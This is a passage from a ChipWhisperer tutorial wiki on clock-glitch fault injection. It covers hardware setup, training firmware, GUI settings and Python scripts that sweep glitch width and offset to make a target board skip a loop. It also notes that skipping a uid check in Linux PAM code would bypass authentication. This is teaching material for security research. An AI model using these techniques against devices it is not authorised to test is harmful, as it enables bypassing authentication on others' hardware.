But if we modify the clock, we could have a situation where the system doesn't have enough time to actually perform an instruction. Consider the following, where Execute #1 is effectively skipped. Before the system has time to actually execute it another clock edge comes, causing the microcontroller to start execution of the next instruction:<br />
<br />
[[File:clock-glitched.png|image]]<br />
<br />
This causes the microcontroller to skip an instruction. Such attacks can be immensely powerful in practice. Consider for example the following code from `linux-util-2.24`:<br />
<br />
<pre>/*<br />
* auth.c -- PAM authorization code, common between chsh and chfn<br />
* (c) 2012 by Cody Maloney &lt;cmaloney@theoreticalchaos.com&gt;<br />
*<br />
* this program is free software. you can redistribute it and<br />
* modify it under the terms of the gnu general public license.<br />
* there is no warranty.<br />
*<br />
*/<br />
<br />
#include &quot;auth.h&quot;<br />
#include &quot;pamfail.h&quot;<br />
<br />
int auth_pam(const char *service_name, uid_t uid, const char *username)<br />
{<br />
if (uid != 0) {<br />
pam_handle_t *pamh = NULL;<br />
struct pam_conv conv = { misc_conv, NULL };<br />
int retcode;<br />
<br />
retcode = pam_start(service_name, username, &amp;conv, &amp;pamh);<br />
if (pam_fail_check(pamh, retcode))<br />
return FALSE;<br />
<br />
retcode = pam_authenticate(pamh, 0);<br />
if (pam_fail_check(pamh, retcode))<br />
return FALSE;<br />
<br />
retcode = pam_acct_mgmt(pamh, 0);<br />
if (retcode == PAM_NEW_AUTHTOK_REQD)<br />
retcode =<br />
pam_chauthtok(pamh, PAM_CHANGE_EXPIRED_AUTHTOK);<br />
if (pam_fail_check(pamh, retcode))<br />
return FALSE;<br />
<br />
retcode = pam_setcred(pamh, 0);<br />
if (pam_fail_check(pamh, retcode))<br />
return FALSE;<br />
<br />
pam_end(pamh, 0);<br />
/* no need to establish a session; this isn't a<br />
* session-oriented activity... */<br />
}<br />
return TRUE;<br />
}</pre><br />
This is the login code for the Linux OS. Note that if we could skip the check of <code>if (uid != 0)</code> and simply branch to the end, we could avoid having to enter a password. This is the power of glitch attacks - not that we are breaking encryption, but simply bypassing the entire authentication module!<br />
<br />
== Glitch Hardware ==<br />
<br />
The ChipWhisperer Glitch system uses the same synchronous methodology as it's Side Channel Analysis (SCA) capture. A system clock (which can come from either the ChipWhisperer or the Device Under Test (DUT)) is used to generate the glitches. These glitches are then inserted back into the clock, although it's possible to use the glitches alone for other purposes (i.e. for voltage glitching, EM glitching).<br />
<br />
The generation of glitches is done with two variable phase shift modules, configured as follows:<br />
<br />
[[File:glitchgen-phaseshift.png|frame|none]]<br />
<br />
The enable line is used to determine when glitches are inserted. Glitches can be inserted continuously (useful for development) or triggered by some event. The following figure shows how the glitch can be muxd to output to the Device Under Test (DUT).<br />
<br />
[[File:glitchgen-mux.png|frame|none]]<br />
<br />
=== Hardware Support ===<br />
<br />
The phase shift blocks use the Digital Clock Manager (DCM) blocks within the FPGA. These blocks have limited support for run-time configuration of parameters such as phase delay and frequency generation, and for maximum performance the configuration must be fixed at design time. The Xilinx-provided run-time adjustment can shift the phase only by about +/- 5nS in 30pS increments (exact values vary with operating conditions).<br />
<br />
For most operating conditions this is insufficient - if attacking a target at 7.37MHz the clock cycle would have a period of 136nS. In order to provide a larger adjustment range, an advanced FPGA feature called Partial Reconfiguration (PR) is used. The PR system requires special partial bitstreams which contain modifications to the FPGA bitstream. These are stored as two files inside a &quot;firmware&quot; zip which contains both the FPGA bitstream along with a file called <code>glitchwidth.p</code> and a file called <code>glitchoffset.p</code>. If a lone bitstream is being loaded into the FPGA (i.e. not from the zip-file), the partial reconfiguration system is disabled, as loading incorrect partial reconfiguration files could damage the FPGA. This damage is mostly theoretical, more likely the FPGA will fail to function correctly.<br />
<br />
If in the course of following this tutorial you find the FPGA appears to stop responding (i.e. certain features no longer work correctly), it could be the partial reconfiguration data is incorrect.<br />
<br />
=== Python GUI Interface ===<br />
<br />
The portion of the GUI of interest to us is primarily located in this section:<br />
<br />
[[File:prgui.png|frame|none]]<br />
<br />
If the Partial Reconfiguration system has been disabled (due to missing PR files or files differing from the FPGA bitstream) the two fields marked that say (as % of period) will be disabled. Only the fields labeled (fine adjust) will be available.<br />
<br />
== Setting up Glitch Example ==<br />
<br />
=== Firmware Setup ===<br />
<br />
The glitch examples requires you to program the target device. The software to program is located at <code>chipwhisperer\hardware\victims\firmware\glitch-simple</code> of your ChipWhisperer release or GIT clone. As before, open the <code>Makefile</code> and be sure to uncomment the appropriate target to reflect your hardware:<br />
<br />
<pre>#Multi-Target Board, AVR Device (ATMega328P)<br />
#PLATFORM = CW301_AVR<br />
<br />
#CW-Lite XMEGA Target Device (XMEGA128D4)<br />
PLATFORM = CW303</pre><br />
You can build the software by running the make command as follows:<br />
<br />
<pre>make</pre><br />
You should also open the file <code>glitchsimple.c</code> which is the source code. The subroutine being glitched in this example looks like this:<br />
<br />
<pre>void glitch_infinite(void)<br />
{<br />
char str[64];<br />
//Declared volatile to avoid optimizing away loop.<br />
//This also adds lots of SRAM access<br />
volatile uint16_t i, j;<br />
volatile uint32_t cnt;<br />
while(1){<br />
cnt = 0;<br />
for(i=0; i&lt;500; i++){<br />
for(j=0; j&lt;500; j++){<br />
cnt++;<br />
}<br />
}<br />
sprintf(str, &quot;%lu %d %d\n&quot;, cnt, i, j);<br />
uart_puts(str);<br />
}<br />
}</pre><br />
You should confirm that <code>glitch_infinite()</code> is actually called from the main subroutine. There are several glitch examples and it's possible the wrong subroutine has been setup previously:<br />
<br />
<pre>int main(void){<br />
<br />
platform_init();<br />
init_uart(); <br />
trigger_setup();<br />
<br />
/* Uncomment this to get a HELLO message for debug */<br />
putch('h');<br />
putch('e');<br />
putch('l');<br />
putch('l');<br />
putch('o');<br />
putch('\n');<br />
_delay_ms(20);<br />
<br />
<br />
while(1){<br />
glitch_infinite();<br />
}<br />
<br />
return 1;<br />
}</pre><br />
Once the AVR/XMEGA is programmed (see previous tutorials), you may need to setup a few jumpers depending on your hardware.<br />
<br />
=== Hardware Setup ===<br />
<br />
==== XMEGA Target (CW1173 + CW303) ====<br />
<br />
The XMEGA target on the ChipWhisperer-Lite requires no configuration. If you have separated the boards, you can attach them with the 20-pin cable.<br />
<br />
==== Multi-Target Board, AVR (CW301) ====<br />
<br />
The hardware is almost as in previous incarnations. The difference is the 'FPGAOUT' is bridged to the AVR clock. This example will use the CLKGEN feature.<br />
<br />
The AVR is being used as the glitch target. The following figure shows the expected jumper settings:<br />
<br />
[[File:glitchhw.jpg|image]]<br />
<br />
=== Software Setup ===<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>Connect to the ChipWhisperer device:</p><br />
<blockquote><ol style="list-style-type: decimal;"><br />
<li>As the ''Scope Module'', select the ''ChipWhisperer/OpenADC'' option</li><br />
<li>As the ''Target Module'', select the ''Simple Serial'' option</li><br />
<li>Switch to the ''Scope Settings'' tab, and as the ''connection'', select the ''NewAE USB (CWLite/CW1200)'' or ''Serial Port (LX9)'' option</li><br />
<li>Switch to the ''Target Settings'' tab, and as the ''connection'', select the ''NewAE USB (CWLite/CW1200)'' or ''Serial Port (LX9)'' option</li><br />
<li>Run connect on both the Scope &amp; Target. They should both switch to green circles indicating the system is connected.</li></ol><br />
</blockquote></li><br />
<li><p>Setup the CLKGEN Module to Generate a 7.37 MHz clock and route it through the Glitch Generator</p><br />
<blockquote><ol style="list-style-type: decimal;"><br />
<li>Switch the ''Freq Counter Src'' to the ''CLKGEN Output''</li><br />
<li>Set the ''Desired Frequency'' to 7.37 MHz. Note you should only adjust the 'frequency' portion of this, if you highlight the entire field you may not be able to type the frequency into the system.</li><br />
<li>Confirm the ''DCM Locked'' checkbox is checked, if not hit the ''Reset CLKGEN DCM'' box. Check the ''Freq Counter'' to ensure the system is correctly generating a 7.37 MHz clock.</li><br />
<li><p>Under the ''Glitch Module'' set the ''Clock Source'' as ''CLKGEN'':</p><br />
<p>[[File:glitchgen-clkgen.png|image]]</p></li><br />
<li><p>Under the ''Target HS IO-Out'' option select the ''Glitch Module'':</p><br />
<p>[[File:targioout.png|image]]</p></li></ol><br />
</blockquote></li><br />
<li><p>Connect the Serial Port</p><br />
<blockquote><ol style="list-style-type: decimal;"><br />
<li>For the XMEGA Target (including the CW-Lite integrated target), perform the following:<br />
<ol style="list-style-type: lower-alpha;"><br />
<li>Switch to the ''Scope Settings'' tab, and scroll down to ''Target IOn Pins''</li><br />
<li>Switch the ''Target IO1'' to be ''Serial RXD''</li><br />
<li>Switch the ''Target IO2'' to be ''Serial TXD''</li></ol><br />
</li><br />
<li><p>From the ''Tools'' menu select ''Open Terminal'', and press ''Connect'' on the terminal:</p><br />
<blockquote><p>[[File:termconn.png|image]]</p></blockquote></li><br />
<li>The baud rate for this system is 38400, which should be the default for the ChipWhisperer serial port.</li><br />
<li><p>Using the target programmer window, we will use the Read Signature or Check Signature button to reset the target every time we want to restart the program. Confirm this works by pressing the Read Signature button, for example if using the ChipWhisperer-Lite integrated programmer, you would see this window:</p><br />
<p>[[File:xmegaprog_main.png|image]]</p><br />
<p>But if using the external AVR Studio programmer for the ChipWhisperer Capture Rev2, you would see this window:</p><br />
<p>[[File:readsig.png|image]]</p><br />
<p>When you press this button the AVR will display the Hello message, which should look something like this:</p><br />
<p>[[File:termhello.png|image]]</p><br />
<blockquote><p>'''tip'''</p><br />
<p>If you uncheck the ''RX: Show non-ASCII as hex'' you will not see the red text with ASCII values of newline (<code>0a</code>).</p></blockquote><br />
<blockquote><p>'''hint'''</p><br />
<p>Sometimes the &quot;reset&quot; message won't appear. This happens often on the virtual machine version, or if your host computer is slow or loaded. Generally you can ignore this error, for example in the video version the welcome message is never printed. You will just have to trust the system is resetting correctly.</p></blockquote></li></ol><br />
</blockquote></li></ol><br />
<br />
We'll now look at glitching this routine. You should inspect the source code to determine that a simple series of calculations are performed:<br />
<br />
<pre>void glitch_infinite(void)<br />
{<br />
char str[64];<br />
//Declared volatile to avoid optimizing away loop.<br />
//This also adds lots of SRAM access<br />
volatile uint16_t i, j;<br />
volatile uint32_t cnt;<br />
while(1){<br />
cnt = 0;<br />
for(i=0; i&lt;500; i++){<br />
for(j=0; j&lt;500; j++){<br />
cnt++;<br />
}<br />
}<br />
sprintf(str, &quot;%lu %d %d\n&quot;, cnt, i, j);<br />
uart_puts(str);<br />
}<br />
}</pre><br />
If the routine works as expected, we would expect it to print <code>250000 500 500</code>. If a glitch interrupts the program flow, we would expect some of those values to be incorrect. This could be because a loop was skipped, an addition done incorrectly, or the program flow was exited unexpectedly.<br />
<br />
== Manual Glitch Trigger ==<br />
<br />
To begin with, you'll simply use the manual glitch triggering. This works well in the examples where we have a simple loop we are breaking out of. Doing so requires modifying the glitch width and glitch offset experimentally. The exact values will vary for every device and setup.<br />
<br />
It is recommended to only use the ''glitch width (as % of period)'' option, as the fine adjust is too small of a change for this lower-speed example. Other hardware may need the precision added by the fine adjust however!<br />
<br />
The following figure shows several different settings for a 7.37 MHz clock. The width is set to 10%, which for the 136nS clock period of the 7.37 MHz clock means the glitch width is about 13.6 nS. When the offset is negative, the glitch is placed in-front of the clock. The glitch is XORd with the clock, meaning this becomes a small positive-going glitch in-front of the regular clock pulse.<br />
<br />
If the offset is positive, the glitch occurs ''after'' the rising edge of the clock pulse. Because this glitch pulse is XORd with the clock, it becomes a negative-going glitch inserted in the 'middle' of the regular clock pulse.<br />
<br />
<blockquote>[[File:clockglitch-examplesettings.png|image]]<br />
</blockquote><br />
With some background, let's now check some glitches. Assuming you've setup the example as before, do the following:<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>Adjust the settings for ''Glitch Width (as % of period)'' , ''Glitch Offset (as % of period)'', and ''Repeat'' based on your target and the following table for different targets:</p><br />
{| class="wikitable"<br />
! Parameter<br />
! AVR on Multi-Target (CW301)<br />
! CW-Lite XMEGA Board<br />
|-<br />
| Glitch Width (as % of period)<br />
| 7.5<br />
| 9.5<br />
|-<br />
| Glitch Offset (as % of period)<br />
| -10<br />
| -2<br />
|-<br />
| Repeat<br />
| 5<br />
| 105<br />
|}<br />
</li><br />
<li>Ensure ''Glitch Trigger'' is ''Manual''</li><br />
<li>Hit the ''Manual Trigger'' button</li><br />
<li>See if you end up with either the target resetting (reprints <code>hello\n</code>), or if the loop count becomes wrong. You may need to press the ''Manual Trigger'' button several times quickly. The objective is to have an incorrect loop count, meaning you caused a glitch!</li><br />
<li>To force a reset of the target, use the Signature Read option on the programmer.</li><br />
<li>Adjust the glith width &amp; offset as needed.</li><br />
<li>You may also adjust the ''Repeat'' option, or cause it to glitch several instructions.</li></ol><br />
<br />
'''Be aware that you may crash the target!''' In the previous examples the target could have reset after each glitch. It may simply go into another infinite loop however, or even enter invalid states. Again force a hardware reset of the target in these cases. It may appear like the target was never glitched, whereas in reality it was glitched into some invalid state.<br />
<br />
{{Warningbox|The boards are extremely sensitive to the glitch width and offset. You may have trouble finding settings that cause a glitch. Don't get too hung up on this; the following sections provide a more reliable method of glitching a target by determining the appropriate parameter settings.}}<br />
<br />
== Automatically Resetting Target ==<br />
<br />
If we are going to start with the target at a pre-determined state, we need to reset the target. There are two ways of automatically performing this. The method used here will use the existing programmer interface to reset the device by performing that &quot;read signature&quot; operation we have already been using. The other method is to toggle a GPIO pin, which is more generic for future use.<br />
<br />
This was introduced in [[Tutorial_B3-1_Timing_Analysis_with_Power_for_Password_Bypass#Reset_via_Auxiliary_Module]].<br />
<br />
To setup the automatic reset, perform the following:<br />
<br />
<ol><br />
<li> Scroll down the list of scripts, and you'll find one labeled "aux_reset_cw1173.py". This script sets up the aux module that attempts to reset the XMEGA device using the programmer. <b>Note: The aux module is only executed after capture is executed.</b><br />
<br><br />
[[File:auxreset_test1.png|600px]]<br />
</li><br />
<li>Hit the "Run" button. If you switch to the "Auxilary Module" tab, you'll see it's been added to the list of modules at the specified location.:<br />
<br><br />
[[File:auxreset_test2.png|400px]]<br />
</li><br />
<li>Looking at the code of the script, you can see how this script is using an external module & linking it to a specific auxilary module trigger:<br />
<syntaxhighlight lang=python><br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Delay between arming and resetting, in ms<br />
delay_ms = 1500<br />
<br />
# Reset XMEGA device<br />
Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)<br />
# Reset STM32Fx device<br />
#Resetter = ResetCW1173(pin='nrst', delay_ms=delay_ms)<br />
# Reset AVR<br />
#Resetter = ResetCW1173(pin='nrst', delay_ms=delay_ms)<br />
<br />
# Reset before arming<br />
# avoids possibility of false triggers<br />
# need delay in target firmware to avoid race condition<br />
#aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
<br />
# Reset after arming<br />
# scope can catch entire reset<br />
# avoids race condition<br />
# target reset can cause false triggers (usually not an issue)<br />
aux_list.register(Resetter.delayThenReset, "after_arm")<br />
</syntaxhighlight><br />
<li>You can edit the values required such as reset time & location by changing the script (using an external editor). But an easier method is to insert it into our attack script itself. As a test we'll see if the default values work. We will later integrate this into a full example script.</li><br />
</ol><br />
<br />
<br />
We can now confirm the reset works with the &quot;Capture 1&quot; button. This requires us to disable the normal routing of the output data to a file for analysis, as we want to just dump data to the terminal emulator. To do this:<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Switch to the ''Target Settings'' tab.</li><br />
<li><p>Remove all of the ''Load Key Command'', ''Go Command'', and ''Output Format'' options:</p><br />
<p>[[File:targetsettings_clear.png|image]]</p></li><br />
<li>Press the &quot;Capture 1&quot; button a few times, which should confirm on each &quot;capture&quot; the target device is resetting.</li><br />
<li><p>Finally, we will switch the glitch target to give us a more realistic target to glitch. To do this open the file <code>chipwhisperer\hardware\victims\firmware\glitch-simple\glitchsimple.c</code> and modify the call in <code>main()</code>, such that we now call the <code>glitch1()</code> function. This means the following:</p><br />
<pre>while(1){<br />
glitch_infinite();<br />
}</pre><br />
<p>can be changed to:</p><br />
<pre>while(1){<br />
glitch1();<br />
}</pre><br />
<p>After which recompile (with <code>make</code>), and reprogram the target device. Note the new function being glitched looks like this:</p><br />
<pre>void glitch1(void)<br />
{<br />
led_ok(1);<br />
led_error(0);<br />
<br />
//Some fake variable<br />
volatile uint8_t a = 0;<br />
<br />
putch('A');<br />
<br />
//External trigger logic<br />
trigger_high();<br />
trigger_low();<br />
<br />
//Should be an infinite loop<br />
while(a != 2){<br />
;<br />
} <br />
<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
<br />
uart_puts(&quot;1234&quot;);<br />
<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
led_error(1);<br />
<br />
//Several loops in order to try and prevent restarting<br />
while(1){<br />
;<br />
}<br />
while(1){<br />
;<br />
}<br />
while(1){<br />
;<br />
}<br />
while(1){<br />
;<br />
}<br />
while(1){<br />
;<br />
} <br />
}</pre></li><br />
<li><p>When you perform a ''Capture 1'', the terminal should print <code>hello\nA</code>, based on the above source code. Note the objective will be to glitch past the infinite loop, such that <code>1234</code> is printed. If using the XMEGA target board this will also turn on the RED led.</p><br />
<blockquote><p>'''hint'''</p><br />
<p>If the startup message isn't visible, it may be related to issues with the Capture software not being fast enough after reset to display the serial port contents on the terminal emulator. This happens often on the virtual machine environment, as can be seen in the demo video. You can ignore this error for now.</p></blockquote></li></ol><br />
<br />
== Automatically Triggering Glitch ==<br />
<br />
The manual trigger used previously is suitable when the embedded system is waiting for further input. For example if the embedded system is waiting for a password, you could insert glitches without requiring accurate timing. We'll explore the use of the capture trigger for glitching here, which also improves the repeatability of your glitch attempts.<br />
<br />
To use this system, you must first understand the routing of the trigger to the glitch module. The following figure shows the trigger routing, which is more basic than the power capture trigger:<br />
<br />
<blockquote>[[File:triggerrouting.png|image]]<br />
</blockquote><br />
Note in particular that if using an external IO pin, you only have a ''rising edge trigger''. The example glitch program includes a line which is set 'High' at critical moments, allowing you to experiment with this basic IO trigger.<br />
<br />
Based on the source code loaded, we currently have a trigger to time the glitch. This is very useful during the characterization phase, where we wish to determine what sort of glitch affects this specific hardware. Once we know that, we can move onto glitching a more &quot;realistic&quot; routine.<br />
<br />
Before doing that, we will actually enable the power analysis capture. To do this:<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Switch to the ''Scope Settings'' tab.</li><br />
<li>Switch the ''ADC Clock Source'' as being ''CLKGEN x4''.</li><br />
<li>Press ''Reset ADC DCM'', confirm the frequency is 29.5 MHz as expected.</li><br />
<li>Switch the ''Trigger Setup'' --&gt; ''Mode'' to be ''Rising Edge''</li><br />
<li>Switch the ''Trigger Setup'' --&gt; ''Total Samples'' to be ''1000''</li><br />
<li>Switch the ''Gain Setting'' --&gt; ''Setting'' to be ''40''. You might need to adjust this for different hardware.</li><br />
<li><p>Press ''Capture 1'', confirm some waveform is displayed. For example with the XMEGA Target on the ChipWhisperer-Lite, the waveform looks like this:</p><br />
<p>[[File:basic_waveform.png|image]]</p></li><br />
<li>If this does't work: check the trigger in use is the ''Target IO4'' pin.</li><br />
<li><p>If this also does not work, and there are timeout issues, causing the trigger to be forced: create a copy of the "aux_reset_cw1173.py" script and change the<br />
<br></p><br />
<pre><br />
# Reset before arming - more stable<br />
aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
# Reset after arming - scope can catch entire reset<br />
#aux_list.register(Resetter.delayThenReset, "after_arm")<br />
</pre><br />
to<br />
<pre><br />
# Reset before arming - more stable<br />
#aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
# Reset after arming - scope can catch entire reset<br />
aux_list.register(Resetter.delayThenReset, "after_arm")<br />
</pre><br />
by commenting out the second line and un-commenting out the fourth line changing the chronological position of the reset to after the scope is armed. This should remove the timeout issue as the scope can now detect the trigger as it is armed before the trigger line is activated.<br />
<b> Use this copy of the script instead of the original version by running the edited script once and disabling the aux module of the original script in ''Aux Settings'' under ''Before Trace''.</b><br />
</li></ol><br />
<br />
Finally, we can enable the trigger of the glitch to occur based on this external trigger pin. This can be accomplished by:<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>Switch the ''Glitch Trigger'' mode to ''Ext Trigger:Single-Shot'':</p><br />
<p>[[File:singleshot.png|image]]</p></li><br />
<li><p>Performing a ''Capture 1'', you'll notice that the waveform is now perturbed. This is due to the clock glitches causing odd power consumption behavior:</p><br />
<p>[[File:basic_waveform_glitchy.png|image]]</p></li><br />
<li>Play around a bit with the glitch width, offset, and repeat. You should see different effects in the power consumption traces.</li></ol><br />
<br />
== Using the Glitch Explorer ==<br />
<br />
Now that we can automatically perform the glitching, we can use the ''glitch explorer'' to automatically vary glitch parameters while recording what the target device is doing. Before continuing with the tutorial, we'll go through an overview of the the glitch explorer.<br />
<br />
=== Glitch Explorer ===<br />
<br />
We'll first introduce the Glitch Monitor ("Glitch Explorer") before we go ahead and show you how to use it. The main window of the glitch explorer looks like this:<br />
<br />
[[File:ge_overview.png]]<br />
<br />
Where you can see the following parts<br />
<br />
<blockquote><br />
# The top part is the output of the system combined with the parameters of the glitch is displayed (the 'output window').<br />
# In the bottom part you can adjust general parameters of the glitching system, such as what counts as a successful glitch or not.<br />
</blockquote><br />
We'll be looking at each of these sections in more detail next.<br />
<br />
==== The Output Window ====<br />
<br />
[[File:ge_top.png|image]]<br />
<br />
The output window highlights different types of output. In this example we have an output |1| highlighted in green, which is flagged as a successful glitch. This example code was waiting for the ''rrrr'' sequence.<br />
<br />
Glitches can also be flagged as 'normal', in which case there is no highlight as in |2|. Finally the glitch could be flagged as an error, in which case it will be highlighted in red.<br />
<br />
In order for the glitch explorer to receive the output value, you must insert the special code <code>$GLITCH$</code> into the ''Target Settings'' --&gt; ''Output Format'' settings. Data is still sent to the terminal emulator so you can monitor what is happening, but if you don't set the $GLITCH$ special string you won't see it in glitch explorer.<br />
<br />
==== The Main Settings ====<br />
<br />
Details of the main settings:<br />
<br />
[[File:ge4_middle.png|image]]<br />
<br />
The response of the system during normal operation is set at ''Normal response''. This defines what happens when no glitching or unexpected behavior happened.<br />
<br />
The desired response of the system if the glitch was successful is set at ''Successful response''.<br />
<br />
The expected and desired responses are expected to be Python expressions, where <code>s</code> is a str-type variable which contains the response of the system. The expression must evaulate to <code>True</code> or <code>False</code>. For example, the following shows examples of what you could use as possible expressions:<br />
<br />
{| class="wikitable"<br />
! Desired Behavior<br />
! Parameter Expression<br />
|-<br />
| Check for &quot;hello\n&quot; exactly.<br />
| s == &quot;hello\n&quot;<br />
|-<br />
| Check for &quot;hello\n&quot; at end of string.<br />
| s.endswith(&quot;hello\n&quot;)<br />
|-<br />
| Check for hex 0xAF in last byte position.<br />
| ord(s[-1]) == 0xAF<br />
|}<br />
<br />
Note that there is sometimes garbage in the first position. This occurs because if the target device is being reset before the glitch, you may see the serial lines floating. These floating lines may cause invalid characters to be recorded.<br />
<br />
==== Parameter Settings ====<br />
<br />
The actual parameters to change are set via a simple Python script. You will register this script to an appropriate section in the system using the "auxiliary module". Using a script makes it easy to define all sorts of various settings you might find of interest.<br />
<br />
For example the following script would insert code to cycle through width and offset settings:<br />
<br />
<syntaxhighlight lang=python><br />
class IterateGlitchWidthOffset(object):<br />
def __init__(self, ge_window):<br />
self._starting_offset = -40<br />
self._starting_width = 5<br />
self.ge_window = ge_window<br />
<br />
def reset_glitch_to_default(self, scope, target, project):<br />
""" Set glitch settings to defaults. """<br />
self.offset = self._starting_offset<br />
self.width = self._starting_width<br />
<br />
def change_glitch_parameters(self, scope, target, project):<br />
""" Example of simple glitch parameter modification function. """<br />
# This value is minimum clock offset/width increment<br />
self.offset += 0.390625<br />
<br />
if self.offset > 40:<br />
self.offset = self._starting_offset<br />
self.width += 0.390625<br />
<br />
if self.width > 40:<br />
self.width = self._starting_width<br />
<br />
# Write data to scope<br />
scope.glitch.width = self.width<br />
scope.glitch.offset = self.offset<br />
<br />
#You MUST tell the glitch explorer about the updated settings<br />
if self.ge_window:<br />
self.ge_window.add_data("Glitch Width", scope.glitch.width)<br />
self.ge_window.add_data("Glitch Offset",scope.glitch.offset)<br />
<br />
glitch_iterator = IterateGlitchWidthOffset(self.glitch_explorer)<br />
self.aux_list.register(glitch_iterator.change_glitch_parameters, "before_trace")<br />
self.aux_list.register(glitch_iterator.reset_glitch_to_default, "before_capture")<br />
<br />
</syntaxhighlight><br />
<br />
Note you can quickly cause very long captures to occur! To run the glitch explorer, you need to set the appropriate number of traces on the ''General Settings'' tab, and use the ''Capture Multi'' to run the glitch explorer.<br />
<br />
The ChipWhisperer system has no idea how many iterations are required with your code - it still uses a fixed number of captures by default. Later versions of the API will support an exit signal.<br />
<br />
=== Example Running the Glitch Explorer ===<br />
<br />
This example will attempt to break out the loop in <code>glitch1()</code>. Moving ahead from where you were in [[#Automatically Triggering Glitch]], we will see how we can view the output of the target device in the glitch explorer.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>Switch to the ''Target Settings'' tab, and set the ''Output Format'' to be <code>$GLITCH$</code>:</p><br />
<p>[[File:output_glitch.png|image]]</p></li><br />
<li>From the ''Tools'' menu select ''Glitch Monitor'' to open the glitch explorer.</li><br />
<li><p>Press the ''Capture 1'' button a few times, and you should see the table populated with outputs:</p><br />
<p>[[File:ge_setup1.png|image]]</p><br />
<p>We want to mark them as &quot;normal&quot; or &quot;glitch successful&quot; to get the color-coding working appropriately.</p></li><br />
<li>Double-click on a normal response, and copy the text. In the ''Normal Response'' field, we need to compare the magic variable <code>s</code> with that copied text. Do this by setting the ''Normal Response'' to be: <code>s == '\x00hello\nA'</code>.</li><br />
<li>We want to mark a string ending with <code>1234</code> as a pass. Thus in the ''Successful Response'' field, set the test to be <code>s.endswith('1234')</code> (remember in Python both <code>'</code> and <code>&quot;</code> are valid for string start/end characters).</li><br />
<li><p>Press ''Capture 1'' a few more times, and check the color-coding has changed:</p><br />
<p>[[File:ge_setup2.png|image]]</p></li></ol><br />
<br />
The next step is to tune the glitch offset to attempt to get a successful clock glitch. These steps are listed as follows:<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Make a new file called '''ge_adjustment.py'' with these contents:<br />
<br />
<syntaxhighlight lang=python><br />
class IterateGlitchParameters(object):<br />
def __init__(self, ge_window):<br />
self._starting_offset = -10<br />
self.ge_window = ge_window<br />
<br />
def reset_glitch_to_default(self, scope, target, project):<br />
""" Set glitch settings to defaults. """<br />
self.offset = self._starting_offset<br />
<br />
def change_glitch_parameters(self, scope, target, project):<br />
""" Example of simple glitch parameter modification function. """<br />
# This value is minimum clock offset/width increment<br />
self.offset += 0.390625<br />
<br />
if self.offset > 40:<br />
self.offset = self._starting_offset<br />
<br />
# Write data to scope<br />
scope.glitch.offset = self.offset<br />
<br />
#You MUST tell the glitch explorer about the updated settings<br />
if self.ge_window:<br />
self.ge_window.add_data("Glitch Offset",scope.glitch.offset)<br />
<br />
glitch_iterator = IterateGlitchParameters(self.glitch_explorer)<br />
self.aux_list.register(glitch_iterator.change_glitch_parameters, "before_trace")<br />
self.aux_list.register(glitch_iterator.reset_glitch_to_default, "before_capture")<br />
</syntaxhighlight><br />
</li><br />
<li><p>Assuming you still have the "Capture" working, you can simply find where you stored that script and hit ''Run''. You should see it execute successfully on the command line.:</p><br />
<p>[[File:ge_step1_register.png|1000px]]</p></li><br />
<li><p>Confirm you see the modules loaded in the ''Aux Settings'' tab:</p><br />
<p>[[File:ge_step2_checkregister.png]]</p></li><br />
<li><p>On the main GUI in the ''Scope Settings'' tab, change the following values for the ''Glitch Module'':</p><br />
<ol style="list-style-type: lower-alpha;"><br />
<li>''Repeat'' set to 10.</li><br />
<li>''Glitch Width (as % of period)'' set to 8.0.</li></ol><br />
<p>These values will be used during the glitch explorer run. We have not specified anything for the tuning, so they will not be changed from whatever is already in the GUI.</p></li><br />
<li><p>On the ''General Settings'' tab:</p><br />
<ol style="list-style-type: lower-alpha;"><br />
<li>Set the ''Number of Traces'' to 121.</li></ol><br />
</li><br />
<li><p>With any luck, at least one of the glitches will be successful:</p><br />
<p>If you get a reset (prints 'hello' again), you might need to reduce the &quot;repeat&quot; value. If you have no successful glitches, double-check all settings. You can continue to the next step anyway, as in that step we will also tune the &quot;glitch width&quot;.</p></li></ol><br />
<br />
We may also need to tune the &quot;Glitch Width&quot;. We can use knowledge of the successful glitch from the previous step to reduce our search space. In this case, assume we had a successful glitch with a width of 8.0 and offset of -2. We'll search around those values to see if we can achieve a more successful glitch performance.<br />
<br />
To continue the tutorial, the following steps will be taken:<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Modify the glitch parameter script to also loop through the Glitch Width. If you get stuck you can look at the example script earlier (in section [[#Parameter_Settings]]).</li><br />
<li>Change the ''Range'' of the first parameter ''Glitch Offset'' to span from 1 to 25, since it appeared that negative offsets were never successful in our previous attempts. Be sure to reset the ''Value'' of this parameter to your desired starting point (probably ''1''). This will reduce the search time.</li><br />
<li>On the main GUI in the ''Scope Settings'' tab, adjust the ''Glitch Module'' repeat parameter to be 1. We are now attempting to acheive success with a single clock cycle being glitched.</li><br />
<li>Still in the main GUI, adjust the number of traces per capture to be 1000. This reflects the number of iterations required to run through both loops (20 x 50).</li><br />
<li>Hit the ''Capture Multi'' button and cross your fingers! Hopefully you will see a successful glitch for some combination of glitch width and offset. We aren't quite done yet, as you will also need to do some fine-tuning to achieve high reliability on the glitch.</li></ol><br />
<br />
Record some of the useful parameters by scrolling through the window (WARNING: changing parameters will clear the table, so record useful values now). In this example there was a success at Offset = 8.5%, and Width = 7.5%. Let's see how to fine-tune those values:<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Plug those values into the main GUI ''Glitch Module'' setting. If we use the ''Capture 1'' button values are taken from the main GUI, instead of the glitch explorer.</li><br />
